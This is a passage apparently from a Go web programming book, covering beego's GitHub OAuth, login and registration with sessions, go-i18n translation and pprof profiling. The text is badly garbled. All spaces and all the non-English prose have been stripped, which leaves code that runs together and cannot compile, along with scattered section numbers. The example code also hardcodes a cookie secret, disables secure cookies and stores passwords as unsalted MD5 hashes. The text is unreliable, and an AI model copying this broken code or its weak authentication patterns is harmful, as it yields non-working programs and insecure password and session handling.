func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
githubHandler:=auth.Github(githubClientKey,githubSecretKey)
githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}
1.
packagecontrollers
import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http""net/url")
typePageControllerstruct{beego.Controller}
func(this*PageController)Get(){//settheauthparameters
auth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
user,err:=auth.GetUserCookie(this.Ctx.Request)
//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}
//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}
14.4
14.5github
Authorizeapp
14.6github
sessionbeego
//func(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()
username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=nowmodels.UpdateUserInfo(users)
//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)
this.Ctx.Redirect(302,"/")}}
//func(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"
return}
passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"
return}
md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)
ifuserInfo.Username==""{varusersmodels.Userusers.Username=usernameusers.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)
//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}
}
funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}
funccheckUsername(usernamestring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}
func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")return}this.Data["Username"]=sess_username}
links
::
14.510go-i18nbeego
i18n
beego
Translationi18n.ILLangstring//zhenLangPathstring//
:
funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}
beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{
s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}
1. i18n:
beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()
2.
json10LangPathzh.jsonen.json
#zh.json
{"zh":{"submit":"" ,"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
3.
controller
func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}
//{{.create|Trans}}
//{{.time|TransDate}}
//{{.money|TransMoney}}
links
:: pprof
14.6pprofGo
net/http/pprof
runtime/pprof
net/http/pprofruntime/pprofhttp
beego pprof
beegopprofgoroutineGo"/net/http/pprof"GoWebbeegoServHTTPbeegopprof
beego.Run
ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}
ProfConterller
packagebeego
import("net/http/pprof")
typeProfControllerstruct{Controller}
func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Reque
st)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}
pprof
beego.PprofOn=true
URL
14.7goroutineheapthread
goroutine
14.8goroutine
gotoolpprofhttp://localhost:8080/debug/pprof/profile
30profilecpu
(pprof)top10
Total:3samples
133.3%33.3%133.3%MHeap_AllocLocked
133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors
133.3%100.0%133.3%runtime.sigprocmask
00.0%100.0%133.3%MCentral_Grow
00.0%100.0%266.7%main.Compile
00.0%100.0%266.7%main.compile
00.0%100.0%266.7%main.run
00.0%100.0%133.3%makeslice1
00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP
00.0%100.0%266.7%net/http.(*conn).serve
(pprof)web
::
14.7beego1beegobootstrap2beegosessionManagerbeegosession3GostructWeb4httpbasichttpdigestbeego5beegogo-i18nWeb6Gopprofpprofbeegopprofpprofbeego6beegoWeb
links
: pprof
AGoWeb
1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. Go7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ10. NetworkprogrammingwithGo